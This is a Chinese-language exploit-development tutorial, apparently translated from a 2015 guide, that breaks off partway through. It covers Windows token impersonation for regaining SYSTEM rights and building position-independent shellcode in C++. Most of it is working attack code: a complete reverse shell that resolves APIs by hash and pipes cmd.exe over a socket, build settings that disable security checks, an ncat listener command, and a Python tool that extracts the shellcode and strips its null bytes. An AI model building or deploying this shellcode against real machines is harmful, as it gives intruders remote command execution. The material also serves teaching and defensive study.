比如说,一个用户连接到Windows中一个服务器,并且向其发送了用户名和密码.该服务器是SYSTEM权限,那么如果用户名和密码正确的话,该服务器将调用LogonUser()返回一个新的令牌.然后这个服务器创建一个新的线程,在该线程中调用SetThreadToken(new_token),其中这个new_token就是之前通过LogonUser()返回的.这样,该线程执行时候的权限就跟该用户是一样的了.当该线程服务完客户端,或者销毁了,再或者调用了revertToSelf(),那么它将加入到空闲的线程池中.


如果你能够控制该服务器,那么你就可以调用RevertToSelf()恢复到SYSTEM权限或者在内存中寻找其他的令牌并且通过SetThreadToken()将其附加到当前线程.


有一点需要注意的就是,CreateProcess()使用主令牌作为新进程的令牌.但是这里会有一个问题就是,调用CreateProcess()的线程具有比主令牌更多权限的二级令牌的时候,新创建的进程会比创建它的线程权限要少.


该问题的解决方案就是在当前线程中调用DuplicateTokenEx(),并将二级令牌传递给它,以此来创建一个新的主令牌,然后通过借助这个新的主令牌调用CreateProcessAsUser()来创建一个新的进程.













Shellcode


导论




在漏洞利用过程中shellcode是作为payload(有效载荷)注射到存在漏洞的应用程序执行的一段代码.shellcode必须具有地址无关性-也就是它应该在内存中的任何位置都能正常执行,与此同时,它不应该包含空字节,因为通常shellcode会被诸如strcpy()这类函数拷贝,而这类函数遇到空字节就会停止拷贝.如果shellcode中包含空字节的话,那么这类函数只会拷贝首个空字节前面的部分从而导致shellcode被截断(不完整).




Shellcode通常是直接用汇编写的.但是这里我使用C/C++(采用Visual Studio 2015)来开发shellcode.这样做的好处是显而易见的:


①  开发周期更短


②  编码中智能提示


③  易于调试


我们将使用VS2015来编写一个携带shellcode的可执行文件,然后通过一个Python脚本来提取并修正(剔除空字节)其中的shellcode.




C/C++代码


仅使用栈中的变量


要想使用C/C++编写一个具有地址无关性的代码,我们只能使用栈中分配的变量.这就是意味着我们不能这样写:


C++


1.    char * v =  new  char[100]; 



因为这个数组所占的内存空间将在堆中被分配.更重要的是,这条语句将尝试调用msvcr120.dll中的new操作符函数,并且用的是一个绝对地址:





0x0f01071是new操作符函数的地址.


如果我们想调用一个从某个动态库中导入的函数的话,不能再依赖Windows加载器和导入表了.我们必须自己来获取函数的地址.


另一个问题就是,new运算符可能需要一些C/C++运行时组件来完成某些初始化操作.但是我们并不想将这些东西包含到我们的shellcode中.


我们也不能使用全局变量:


C++



int x; 
  
int  main(){ 
    x = 12; 
} 



上面的赋值语句(如果编译器没有优化的话),会产生如下代码:





008A337C是变量x的绝对地址.


字符串的话又是另一种情况了.如果我们这样写的话:


C++


char str[] = "I'm a string"; 
printf(str); 



这个字符串将被放入到可执行文件中.rdata节中的,引用的时候将使用绝对地址.你的shellcode里面肯定是不能使用printf的:我这里仅仅是为了举例演示str是如何被引用的.一下是汇编代码:





正如你所看到的,字符串位于.rdata节的0x00dd2108地址处,这里是通过mov指令将字符串拷贝到栈(str指向了栈中的空间)中的.注意这里的0x00dd2108是一个绝对地址.也就是说这段代码不具有地址相关性.


如果我们这样写


C++

char* str = "I'm a string"; 
printf(str); 


这个字符串同样是放入到.rdata节中的,但是并没有拷贝到栈中:





这个字符串位于.rdata节中,为0xcb2108,是一个绝对地址.那么我们怎么才能让这段代码具有地址无关性呢?这里有一个比较简单的方案,但是写起来比较麻烦:


C++


char str[] = {'I','\'','m',' ','a',' ','s','t','r','i','n','g','\0'}; 
printf(str); 


如下是汇编代码:





除了调用printf的这行代码以外,其他部分代码是具有地址无关性的.因为字符串部分是直接被编码为mov指令的源操作数的.只要字符串被编译在栈中,就可以用.


不幸的是,当字符串太多的时候,这种方法就不奏效了.验证代码如下:


C++


char str[] = {'I','\'','m',' ','a',' ','v','e','r','y',' ','l','o','n','g',' ','s','t','r','i','n','g','\0'}; 
printf(str); 



产生的汇编代码如下:





正如你所看到的,字符串的其中一部分位于.rdata节中,在0x62110地址处,其他部分跟之前一样被编码在mov指令的源操作数中了.


我想出的解决方案就是,允许写下面这样的代码:


C++


char* str= "I'm a very long string"; 



紧接着我们通过一个Python脚本来修复该shellcode.该python脚本的作用就是从.rdata节中提取被引用到的字符串,然后将字符串嵌入到shellcode中,并进行相应的重定位处理.过会儿大家就能看到是怎么做的了.




不要直接调用Windows API函数


我们不能像下面这样写:


C++


WaitForSingleObject(proInfo.hProcess,INFINITE); 



因为在C/C++代码中”WaitForSingleObject”需要从kernel32.dll中导入.


从动态库中导入一个函数的过程是相当复杂的.简而言之,PE文件包含导入表和导入函数地址表(IAT).导入表中包含了要从哪些库中导入哪些函数的相关信息.当可执行文件被加载到内存中的时候,是Windows加载器负责将导入函数的地址填充到IAT中的.可执行文件中是通过间接调用的方式来调用导入函数的.例如:





0x00e52000是IAT中一个条目的地址,其中包含了WaitForSingleObject这个API函数的地址.这种间接调用的形式非常有用,因为这种调用不需要进行修正(除非可执行文件被重定向了).Windows加载器唯一要做的事情就是将WaitForSingleObject这个API函数填充到0x00e52000这个地址所指向的DWORD长度的内存单元中去.获取Windows API地址的解决方案就是直接通过Windows内部的数据结构来获取.下面我们就来看一看怎么做.




安装VS2015


首先大家需要下载并安装VS2015 IDE环境(PS:其实大家想要什么IDE都可以,VC6.0-VS2015之间的版本都可以).


下载地址如下:


ed2k://|file|cn_visual_studio_enterprise_2015_x86_x64_dvd_6846222.iso|4172560384|E558149A422E9FBF7D1D37FB0A2F1F53|/




创建新的工程


选择主菜单项文件->新建->项目…,





接着选择已安装->模板->Visual C++->Win32->Win32 控制台应用程序,为项目起一个名称(这里我起shellcode),然后点击确定.





接着打开项目的属性页,





将配置选项值设置为所有配置(Release和Debug).





接着展开配置属性,选择常规选项卡,将平台工作集设置为Visual studio 2015(v140).这样的话我们就可以使用C++ 11和C++ 14新标准中一些新的特性了,例如:static_assert.







Shellcode举例


这里是一份简单的反向连接shell的代码.向项目中添加一个名称为shellcode.cpp的源文件,并将下面的代码拷贝到其中.现在看不懂这段代码没关系,我们将逐行讨论这段代码.


C++


//简单的反向连接shell
shellcode(2015) 
  
#include <WinSock2.h>   //必须放到#include<windows.h>,不然会编译报错 
#include <WS2tcpip.h> 
#include <windows.h> 
//#include <winnt.h> 
#include <winternl.h> 
//#include <stddef.h> 
//#include <stdio.h> 
  
#define htons( A ) (((( WORD )( A ) &
0xff00) >> 8) | ((( WORD )( A ) & 0x00ff) << 8)) 
  
_inline  PEB  *getPEB() 
{ 
       PEB  *p; 
       __asm{ 
              mov eax,fs:[30h] 
              mov p,eax 
       } 
       return p; 
} 
               
DWORD  getHash(const char* str) 
{       
       DWORD  h = 0; 
       while (*str) 
       { 
              h = (h >> 13) | (h << (32 - 13));    //ROR h,13 
              h += *str >= 'a' ? *str - 32 : *str;   //将字符转化为大写 
              str++; 
       } 
       return h; 
} 
        
DWORD  getFunctionHash(const char* moduleName, const char* functionName) 
{ 
       return getHash(moduleName) + getHash(functionName); 
} 
  
LDR_DATA_TABLE_ENTRY  * getDataTableEntry(const  LIST_ENTRY * ptr) 
{ 
       int list_entry_offset =  offsetof ( LDR_DATA_TABLE_ENTRY ,  InMemoryOrderLinks ); 
       return ( LDR_DATA_TABLE_ENTRY *)(( BYTE *)ptr - list_entry_offset); 
} 
  
//注意:这个函数对代理调用无效.例如,kernel32.ExitThread实际上是ntdll.RtlExitUserThread的代理调用. 
//这种情况需要手动定位被代理调用的函数. 
PVOID  getProcAddrByHash( DWORD  hash) 
{       
    PEB * peb = getPEB(); 
    LIST_ENTRY * first = peb-> Ldr -> InMemoryOrderModuleList . Flink ; 
    LIST_ENTRY * ptr = first; 

    do  
    { 
           LDR_DATA_TABLE_ENTRY * dte = getDataTableEntry(ptr); 
           ptr = ptr-> Flink ; 

           BYTE * baseAddress = ( BYTE *)dte-> DllBase ; 
           if (!baseAddress)   //无效模块(???) 
                 continue; 

           IMAGE_DOS_HEADER * dosHeader = ( IMAGE_DOS_HEADER *)baseAddress; 
           IMAGE_NT_HEADERS * ntHeaders = ( IMAGE_NT_HEADERS *)(baseAddress + dosHeader-> e_lfanew ); 
           DWORD  iedRVA = ntHeaders-> OptionalHeader . DataDirectory [ IMAGE_DIRECTORY_ENTRY_EXPORT ]. VirtualAddress ; 
           if (!iedRVA)    //导出目录不存在 
                 continue; 

           IMAGE_EXPORT_DIRECTORY * ied = ( IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA); 
           char* moduleName = (char*)(baseAddress + iedRVA); 
           DWORD  moduleHash = getHash(moduleName); 

           //函数名称地址表(AddressOfNames)和函数序号地址表(AddressOfNameOrdinals)中的元素指向 
           //相同的函数.AddressOfNames指向了函数名称字符串的指针数组,而AddressOfNameOrdinals指向了该函数在AddressOfFunctions中 
           //索引值. 
           DWORD * nameRVAs = ( DWORD *)(baseAddress + ied-> AddressOfNames ); 
           for ( DWORD  i = 0; i < ied-> NumberOfNames ; ++i) 
           { 
                 char* functionName = (char*)(baseAddress + nameRVAs[i]); 
                 if (hash == moduleHash + getHash(functionName)) 
                 { 
                         WORD  ordinal = (( WORD *)(baseAddress + ied-> AddressOfNameOrdinals ))[i]; 
                         DWORD  functionRVA = (( DWORD *)(baseAddress + ied-> AddressOfFunctions ))[ordinal]; 
                         return baseAddress + functionRVA; 
                 } 
           } 

   } while (ptr != first); 

   return  NULL ;  //地址没找到 
} 
  
#define HASH_LoadLibraryA 0xf8b7108d 
#define HASH_WSAStartup 0x2ddcd540 
#define HASH_WSACleanup 0x0b9d13bc 
#define HASH_WSASocketA 0x9fd4f16f 
#define HASH_WSAConnect 0xa50da182 
#define  HASH_CreateProcessA 0x231cbe70 
#define  HASH_inet_ntoa 0x1b73fed1 
#define  HASH_inet_addr 0x011bfae2 
#define  HASH_getaddrinfo 0xdc2953c9 
#define  HASH_getnameinfo 0x5c1c856e 
#define HASH_ExitThread 0x4b3153e0 
#define  HASH_WaitForSingleObject 0xca8e9498 
  
#define DefineFuncPtr( name ) decltype( name ) *My_##name=(decltype(name)*)getProcAddrByHash(HASH_##name); 
  
int entryPoint() 
{ 
      //printf("0x%08x\n",getFunctionHash("kernel32.dll","WaitForSingleObject")); 
      //return 0; 

      //注意:我们需要调用WSACleanup()和freeaddrinfo()(在getaddrinfo()之后), 
      //但也不一定非要 
       
      DefineFuncPtr( LoadLibraryA ); 
      My_LoadLibraryA("ws2_32.dll"); 
      DefineFuncPtr( WSAStartup ); 
      DefineFuncPtr( WSASocketA ); 
      DefineFuncPtr( WSAConnect ); 
      DefineFuncPtr( CreateProcessA ); 
      DefineFuncPtr( inet_ntoa ); 
      DefineFuncPtr( inet_addr ); 
      DefineFuncPtr( getaddrinfo ); 
      DefineFuncPtr( getnameinfo ); 
      DefineFuncPtr( ExitThread ); 
      DefineFuncPtr( WaitForSingleObject ); 
       
      const char* hostName = "127.0.0.1"; 
      const int hostPort = 123; 

      WSADATA  wsaData; 
      if (My_WSAStartup( MAKEWORD (2, 2), &wsaData)) 
             goto __end;     //出错 

      SOCKET  sock = My_WSASocketA( AF_INET ,  SOCK_STREAM ,  IPPROTO_TCP , NULL ,0,0); 

      if (sock ==  INVALID_SOCKET ) 
             goto __end; 

      addrinfo * result; 
      if (My_getaddrinfo(hostName,  NULL ,  NULL , &result)) 
             goto __end; 

      char ip_addr[16]; 
      My_getnameinfo(result-> ai_addr , result-> ai_addrlen , ip_addr, sizeof(ip_addr),  NULL , 0,  NI_NUMERICHOST ); 

      SOCKADDR_IN  remoteAddr; 
      remoteAddr. sin_family  =  AF_INET ; 
      remoteAddr. sin_port  = htons(hostPort); 
      remoteAddr. sin_addr . s_addr  = My_inet_addr(ip_addr); 

      if (My_WSAConnect(sock, ( SOCKADDR *)&remoteAddr, sizeof(remoteAddr),  NULL ,  NULL ,  NULL ,  NULL )) 
             goto __end; 
       
      STARTUPINFOA  sInfo; 
      PROCESS_INFORMATION  procInfo; 
      SecureZeroMemory (&sInfo, sizeof(sInfo));   //避免调用_memset 
      sInfo. cb  = sizeof(sInfo); 
      sInfo. dwFlags  =  STARTF_USESTDHANDLES ; 
      sInfo. hStdInput  = sInfo. hStdOutput  = sInfo. hStdError  = ( HANDLE )sock; 
      My_CreateProcessA( NULL , "cmd.exe",  NULL ,  NULL ,  TRUE , 0,  NULL ,  NULL , &sInfo, &procInfo); 

      //等待进程结束 
      My_WaitForSingleObject(procInfo. hProcess ,  INFINITE ); 

__end: 
      My_ExitThread(0); 

      return 0; 
} 
  
int main() 
{       
    return entryPoint(); 
} 



编译器配置


找到解决方案资源管理器窗口-> <工程名称>属性,展开配置属性,接着C/C++.将更改应用到发布版本配置.


你需要修改以下配置:


●  常规:


●  SDL 检查:否(/sdl-)


也许没有必要这么做,但是我总是把它禁用掉


●  优化:


●  优化:使大小最小化(/O1)


这个非常重要!我们需要shellcode尽可能的精简.


●  内联函数扩展:只适用于_inline(/Ob1)


如果函数A调用函数B,并且函数是内联的,则调用函数B将被替换为其实现代码.设置这个选项就是告诉VS 2015仅仅内联通过_inline修饰的函数.


主函数main()仅仅调用entryPoint(包含了我们的shellcode).如果entryPoint函数太短,它可能会被内联到main()当中.这非常糟糕的,因为main()并不知道我们shellcode到底在哪里结束(实际上,结束位置包含在它里面了).我们后面会看到该选项的重要性.


●  启用内部函数:是(/Oi)


我不知道它是否应该禁用.


●  优选大小或者速度:代码大小优先(/Os)


●  全程序优化:是(/GL)


●  代码生成:


●  安全检查:禁用安全检查(/GS-)


我们不需要任何安全检查


●  启用函数级链接:是(/Gy)


链接器配置


找到解决方案资源管理器窗口-> <工程名称>属性,展开配置属性,接着C/C++.将更改应用到发布版本配置.


你需要修改以下配置:


●  常规:


●  启用增量链接:否(/INCREMENTAL:NO)


●  调试:


●  生成映射文件:是(/MAP)


告知链接器创建映射文件


●  映射文件名:mapfile


用户指定的映射文件的名称.该名称将会替换默认名称.


●  优化:


●  引用:是(/OPT:REF)


●  启用COMDAT折叠:是(/OPT:ICF)


●  函数顺序:function_order.txt


这个选项告知链接器读取function_order.txt通过按其中预定的顺序将特定的COMDAT放置到映像中来优化程序.链接器按指定的顺序将函数放置到映像中的每一节内.我们想要entryPoint作为代码段中第一个函数,所以我们的function_order.txt中仅仅就包含一行(?entryPoint@@YAHXZ).你可以在映射文件中找到这个名称.


 


getProcAddrByHash


这个函数返回已经加载到内存中的某个模块(.exe或.dll)中的某个导出函数的地址,参数提供的hash值与某个模块和其中的某个函数是关联的.当然也通过函数名称来查找函数,但是这样做比较浪费内存空间,因为这些名称是嵌入到shellcode里面的.而我这里一个hash值仅仅只占4个字节,因为我没有使用两个hash(一个用于模块,另一个用于函数),getProcAddrByHash会去遍历已加载到内存中的所有模块.




user32.dll导出的MessageBoxA的hash可以使用下面的方法计算:


DWORD  hash = getFunctionHash("user32.dll","MessageBoxA"); 



这个hash是getHash(“user32.dll”)与getHash(“MessageBoxA”)的和.getHash的实现非常简单:


DWORD  getHash(const char *str) { 
    DWORD  h = 0; 
    while (*str) { 
        h = (h >> 13) | (h << (32 - 13));         // ROR h, 13 
        h += *str >= 'a' ? *str - 32 : *str;      // 将小写字母转换为大写 
        str++; 
    } 
    return h; 
} 




正如你所看到的,该hash是大小写不敏感的.这一点非常重要,因为在某些版本的Windows中内存中的名称都是大写的.


首先,getProcAddrByHash获取TEB(线程环境块)的地址:


PEB  *peb = getPEB(); 



这里


_inline  PEB  *getPEB() { 
    PEB  *p; 
    __asm { 
        mov    eax, fs:[30h] 
        mov     p, eax 
    } 
    return p; 
} 





段选择子fs指向了TEB的起始地址.TEB的偏移30h处包含了PEB(进程环境块)的指针.我们可以在WinDbg中看一下:





PEB,看到这个名字就应该联想到它是跟当前进程相关的,包含了加载到当前进程地址空间的模块信息还有有些其他的东西.


接下来继续看getProcAddrByHash:


PVOID  getProcAddrByHash( DWORD  hash) { 
    PEB  *peb = getPEB(); 
    LIST_ENTRY  *first = peb-> Ldr -> InMemoryOrderModuleList . Flink ; 
    LIST_ENTRY  *ptr = first; 
    do {                            // 遍历各个模块 
        LDR_DATA_TABLE_ENTRY  *dte = getDataTableEntry(ptr); 
        ptr = ptr-> Flink ; 
            . 
            .    
            . 
    } while (ptr != first); 
  
    return  NULL ;           
    // 地址没有找到 
} 



接着看下PEB:





偏移0ch处,有一个叫做Ldr的域,它是PEB_LDR_DATA数据结构的指针.我们在WinDbg中看一看:





InMemoryOrderModuleList是一个指向LDR_DATA_TABLE_ENTRY(包含了加载到当前进程地址空间中模块的信息)结构的双向链表.


确切的说, InMemoryOrderModuleList是一个LIST_ENTRY,其中包含了两个域:





Flink为前驱节点指针,Blink为后继节点指针.Flink指向第一个模块的LDR_DATA_TABLE_ENTRY.呵呵,这样其实不精确:应该说是Flink指向了LIST_ENTRY(包含在LDR_DATA_TABLE_ENTRY结构中)结构.


我们一起来看下LDR_DATA_TABLE_ENTRY的定义:





偏移8处的InMemoryOrderModuleList.Flink指向了_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks,所以我们必须减8才能得到


_LDR_DATA_TABLE_ENTRY的地址.


首先,我们来获取Flink的地址:





它的值是0x371898,所以_LDR_DATA_TABLE_ENTRY结构的地址等于0x371898 – 8 = 0x371890:





你可以看到,我用WinDbg调试的是shellcode.exe!这是正确的:因为第一个模块通常都是可执行文件本身.这里比较重要的字段是DllBase(c).该字段指定了模块的基地址,我们可以分析加载到内存中的PE文件进而获取各种各样的信息,例如说导出函数的地址.


来看下在getProcAddrByHash中是怎么做的:


  . 
  . 
  . 
BYTE  *baseAddress = ( BYTE  *)dte-> DllBase ; 
if (!baseAddress)           // invalid module(???) 
        continue; 
IMAGE_DOS_HEADER  *dosHeader = ( IMAGE_DOS_HEADER  *)baseAddress; 
IMAGE_NT_HEADERS  *ntHeaders = ( IMAGE_NT_HEADERS  *)(baseAddress + dosHeader-> e_lfanew ); 
DWORD  iedRVA = ntHeaders-> OptionalHeader . DataDirectory [ IMAGE_DIRECTORY_ENTRY_EXPORT ]. VirtualAddress ; 
if (!iedRVA)                // Export Directory not present 
        continue; 
IMAGE_EXPORT_DIRECTORY  *ied = ( IMAGE_EXPORT_DIRECTORY  *)(baseAddress + iedRVA); 
char *moduleName = (char *)(baseAddress + ied-> Name ); 
DWORD  moduleHash = getHash(moduleName); 
  
// The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th 
// element of both arrays refer to the same function. The first array specifies the name whereas 
// the second the ordinal. This ordinal can then be used as an index in the array pointed to by 
// AddressOfFunctions to find the entry point of the function. 
DWORD  *nameRVAs = ( DWORD  *)(baseAddress + ied-> AddressOfNames ); 
for ( DWORD  i = 0; i < ied-> NumberOfNames ; ++i) { 
        char *functionName = (char *)(baseAddress + nameRVAs[i]); 
        if (hash == moduleHash + getHash(functionName)) { 
           WORD  ordinal = (( WORD  *)(baseAddress + ied-> AddressOfNameOrdinals ))[i]; 
           DWORD  functionRVA = (( DWORD  *)(baseAddress + ied-> AddressOfFunctions ))[ordinal]; 
          return baseAddress + functionRVA; 
        } 
} 
. 
. 
. 



要理解这段代码,你需要看一看PE文件格式相关的知识点.我这里就不详细介绍了.你只需要知道PE文件结构中的很多(不是全部)地址都是RVA(相对虚拟地址),也就是相对模块(DllBase)基地址的地址.例如:如果RVA为100h并且DllBase为400000h,则该RVA指向的数据的地址为400000h
+ 100h = 400100h.


PE文件开始的结构叫做DOS_HEADER,其中包含了一个RVA(e_lfanew),这个RVA指向了NT_HEADERS(包含了FILE_HEADER结构和OPTIONAL_HEADER)结构.OPTIONAL_HEADER包含了一个叫做数据目录(指向了PE模块中的各种各样的“目录”)的数组.我们对导出目录比较感兴趣.




与导出目录相关的C语言结构定义如下:


typedef struct _IMAGE_EXPORT_DIRECTORY { 
     DWORD    Characteristics; 
     DWORD     TimeDateStamp ; 
     WORD      MajorVersion ; 
     WORD      MinorVersion ; 
     DWORD     Name ; 
     DWORD     Base ; 
     DWORD    NumberOfFunctions; 
     DWORD    NumberOfNames; 
     DWORD    AddressOfFunctions;     // RVA from base of image 
     DWORD    AddressOfNames;         // RVA from base of image 
     DWORD    AddressOfNameOrdinals;  // RVA from base of image 
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; 



这个Name字段是一个RVA(指向了模块名称字符串).接下来还有5个重要的字段:


● 
NumberOfFunctions:


所有导出函数的个数


● 
NumerOfName:


以函数名导出的函数个数


● 
AddressOfFunctions:


导出函数地址表RVA


● 
AddressOfName:


函数名称地址表RVA


● 
AddressOfNameOrdinals:


函数序号地址表RVA


正如上面C/C++代码中注释描述的,AddressOfNames和AddressOfNameOrdinals指向的数组是一一对应的:





虽然前面两个数组是一一对应的,但是第三个数组不是也就是说AddressOfNameOrdinals和AddressOfFunctions不是一一对应的.


所以我这里的做法是首先在AddressOfNames中找到正确的名称,然后到AddressOfNameOrdinals(位于相同位置)中获取对应的序号,最后用序号作为AddressOfFunctions数组元素的序号来获取对应导出函数地址的RVA.




DefineFuncPtr


DefineFuncPtr是一个辅助定义导入函数指针的宏.这里有个例子:


#define HASH_WSAStartup            
0x2ddcd540 
  
#define DefineFuncPtr( name )     decltype( name )
*My_##name = (decltype( name ) *)getProcAddrByHash(HASH_##name) 
  
DefineFuncPtr( WSAStartup ); 



WSAStartup是从ws2_32.dll导入的一个函数,所以HASH_WSAStartup可以使用如下方法计算:


DWORD  hash = getFunctionHash("ws2_32.dll","WSAStartup"); pre



当这个宏被展开,


DefineFuncPtr( WSAStartup ); 



就变成了


decltype( WSAStartup ) *My_WSAStartup = (decltype( WSAStartup ) *)getProcAddrByHash(HASH_WSAStartup) 



这里decltype(WSAStartup)表示WSAStartup这个函数的类型.这种方式我们不需要重新定义函数的声明.注意这个decltype是C++11标准中引入的关键字.


现在我们能够通过My_WSAStartup这个函数指针方便的调用WSAStartup了.


注意从某个模块中导入某个函数之前,我们需要确保该模块已经加载到内存中了.而Kernel32.dll和ntdll.dll总是加载到内存中的(我们比较幸运),但是不能确保其它模块也已经加载到内存中了.最简单的做法就是通过调用LoadLibrary来加载模块:


DefineFuncPtr( LoadLibraryA ); 
My_LoadLibraryA("ws2_32.dll"); 



这两条语句能够正常工作是因为LoadLibrary是从kernel32.dll导入的,就像我们之前所说的,可以认为kernel32.dll一直存在于内存中.


我们也可以导入GetProcAddress,然后使用它来获取其它我们需要函数的地址,但是这种方式比较浪费空间,因为我们需要将所有函数的名称字符串嵌入到shellcode中去.




entryPoint


entryPoint很明显是我们shellcode(该shellcode实现了一个反向连接的shell)的入口点.首先,导入我们需要的所有函数,然后再来使用它们.细节我就不赘述了,可能winsock
API系列函数使用起来繁琐一点.


简而言之:


1.        
我们创建一个套接字,


2.        
使用这个套接字连接到127.0.0.1:123,


3.        
通过执行cmd.exe创建一个进程,


4.        
将该套接字附加到当前进程的标准输入,输出,以及错误,


5.        
等待cmd进程终止,


6.        
当cmd进程结束以后,我们结束当前线程.


第3点和第4点其实可以合并,这两点共同完成创建进程.攻击者监听123端口,等待一个连接的到来,一旦连接成功了,就可以通过套接字与远程机器中运行的cmd.exe进行交互了(即TCP连接).




我们一起来试一试,首先安装ncat(下载地址: http://nmap.org/dist/ncat-portable-5.59BETA1.zip),运行cmd.exe,然后在提示符下面输入


ncat -lvp 123 



这将会开始监听123端口.


然后,回到Visual Studio 2015,选择Release,编译整个工程,然后运行.


回到ncat,你应该可以看到类似于下面的回显:





现在你可以输入你想要的命令了.想要退出的话可以输入exit.




main


还得感谢连接器选项呢


         函数顺序:function_order.txt


Function_order.txt里面仅仅只有一行?entryPoint@@YAHXZ(PS:entryPoint名称粉碎后的结果),这样entryPoint函数将放到我们shellcode的最开始处.这正式我们想要的结果.




好像连接器比较遵从源代码中函数的顺序,所以我们可以将entryPoint放到其他函数之前,但是我又不想把其他东西都弄乱了.将main函数放在源代码的最后,好让它链接到我们shellcode的末尾.这样方便我们计算shellcode的结束位置.下面我们谈到映射文件的时候就能看到这一点.




Python脚本


介绍




现在这个可执行文件已经包含了我们准备好的shellcode了,我们需要一种提取和修正该shellcode的方法.这做起来并不是容易.为此我写了一个Python脚本


1.        
提取shellcode


2.        
处理重定位的字符串


3.        
剔除shellcode中的空字节


随便说一句,大家喜欢用什么编辑器编写python脚本都可以,我个人喜欢使用PyCharm(下载地址: https://www.jetbrains.com/pycharm/).


这个脚本虽然仅仅只有392行,但有一点难度,所以下面我会详细介绍.


这里就是代码:


# Shellcode 提取工具 by Massimiliano Tomassoli (2015)
 
import sys
import os
import datetime
import pefile
 
author = 'Massimiliano Tomassoli'
year = datetime.date.today().year
 
 
def dword_to_bytes(value):
    return [value & 0xff, (value >> 8) & 0xff, (value >> 16) & 0xff, (value >> 24) & 0xff]
 
 
def bytes_to_dword(bytes):
    return (bytes[0] & 0xff) | ((bytes[1] & 0xff) << 8) | \
           ((bytes[2] & 0xff) << 16) | ((bytes[3] & 0xff) << 24)
 
 
def get_cstring(data, offset):
    '''
    提取C字符串 (即. 以空字符结尾的字符串).
    '''
    pos = data.find('\0', offset)
    if pos == -1:
        return None
    return data[offset:pos+1]
 
 
def get_shellcode_len(map_file):
    '''
    通过分析map文件得到shellcode的长度 (通过VS2015生成map文件)
    '''
    try:
        with open(map_file, 'r') as f:
            lib_object = None
            shellcode_len = None
            for line in f:
                parts = line.split()
                if lib_object is not None:
                    if parts[-1] == lib_object:
                        raise Exception('_main is not the last function of %s' % lib_object)
                    else:
                        break
                elif (len(parts) > 2 and parts[1] == '_main'):
                    # 格式:
                    # 0001:00000274  _main   00401274 f   shellcode.obj
                    shellcode_len = int(parts[0].split(':')[1], 16)
                    lib_object = parts[-1]
 
            if shellcode_len is None:
                raise Exception('Cannot determine shellcode length')
    except IOError:
        print('[!] get_shellcode_len: Cannot open "%s"' % map_file)
        return None
    except Exception as e:
        print('[!] get_shellcode_len: %s' % e.message)
        return None
 
    return shellcode_len
 
 
def get_shellcode_and_relocs(exe_file, shellcode_len):
    '''
    从exe文件中.text节中提取shellcode和重定位的字符串.
    返回三个东西 (shellcode, 重定位, 字符串).
    '''
    try:
        # 提取shellcode.
        pe = pefile.PE(exe_file)
        shellcode = None
        rdata = None
        for s in pe.sections:
            if s.Name == '.text\0\0\0':
                if s.SizeOfRawData < shellcode_len:
                    raise Exception('.text section too small')
                shellcode_start = s.VirtualAddress
                shellcode_end = shellcode_start + shellcode_len
                shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
            elif s.Name == '.rdata\0\0':
                rdata_start = s.VirtualAddress
                rdata_end = rdata_start + s.Misc_VirtualSize
                rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)
 
        if shellcode is None:
            raise Exception('.text section not found')
        if rdata is None:
            raise Exception('.rdata section not found')
 
        # 定位到shellcode中需要重定位字符串的位置,通过这些位置在.rdata中定位到相应的字符串并将它们提取出来.
        relocs = []
        addr_to_strings = {}
        for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:
            for entry in rel_data.entries[:-1]:         # the last element's rvs is the base_rva (why?)
                if shellcode_start <= entry.rva < shellcode_end:
                    # 重定位的位置在shellcode中
                    relocs.append(entry.rva - shellcode_start)      # 相对shellcode起始处的偏移
                    string_va = pe.get_dword_at_rva(entry.rva)
                    string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase
                    if string_rva < rdata_start or string_rva >= rdata_end:
                        raise Exception('shellcode references a section other than .rdata')
                    str = get_cstring(rdata, string_rva - rdata_start)
                    if str is None:
                        raise Exception('Cannot extract string from .rdata')
                    addr_to_strings[string_va] = str
 
        return (shellcode, relocs, addr_to_strings)
 
    except WindowsError:
        print('[!] get_shellcode: Cannot open "%s"' % exe_file)
        return None
    except Exception as e:
        print('[!] get_shellcode: %s' % e.message)
        return None
 
 
def dword_to_string(dword):
    return ''.join([chr(x) for x in dword_to_bytes(dword)])
 
 
def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):
    if len(relocs) == 0:
        return shellcode                # 没有待重定位的地址
 
    # 新shellcode的格式:
    #       call    here
    #   here:
    #       ...
    #   shellcode_start:
    #       <shellcode>         (包含strX的偏移 (偏移是相对"here"标签而言的))
    #   relocs:
    #       off1|off2|...       (待重定位地址的偏移(偏移是相对"here"标签而言的))
    #       str1|str2|...
 
    delta = 21                                      # shellcode_start - here
 
    # 构建第一个部分.
    x = dword_to_bytes(delta + len(shellcode))
    y = dword_to_bytes(len(relocs))
    code = [
        0xE8, 0x00, 0x00, 0x00, 0x00,               #   CALL here
                                                    # here:
        0x5E,                                       #   POP ESI
        0x8B, 0xFE,                                 #   MOV EDI, ESI
        0x81, 0xC6, x[0], x[1], x[2], x[3],         #   ADD ESI, shellcode_start + len(shellcode) - here
        0xB9, y[0], y[1], y[2], y[3],               #   MOV ECX, len(relocs)
        0xFC,                                       #   CLD
                                                    # again:
        0xAD,                                       #   LODSD
        0x01, 0x3C, 0x07,                           #   ADD [EDI+EAX], EDI
        0xE2, 0xFA                                  #   LOOP again
                                                    # shellcode_start:
    ]
 
    # 构建最后一部分 (offX 和 strX).
    offset = delta + len(shellcode) + len(relocs) * 4           # 偏移是相对"here"标签而言的
    final_part = [dword_to_string(r + delta) for r in relocs]
    addr_to_offset = {}
    for addr in addr_to_strings.keys():
        str = addr_to_strings[addr]
        final_part.append(str)
        addr_to_offset[addr] = offset
        offset += len(str)
 
    # 最后一部分:修复shellcode,好让待重定位的地址能够指向正确的字符串
    byte_shellcode = [ord(c) for c in shellcode]
    for off in relocs:
        addr = bytes_to_dword(byte_shellcode[off:off+4])
        byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr])
 
    return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part)
 
 
def dump_shellcode(shellcode):
    '''
    Prints shellcode in C format ('\x12\x23...')
    '''
    shellcode_len = len(shellcode)
    sc_array = []
    bytes_per_row = 16
    for i in range(shellcode_len):
        pos = i % bytes_per_row
        str = ''
        if pos == 0:
            str += '"'
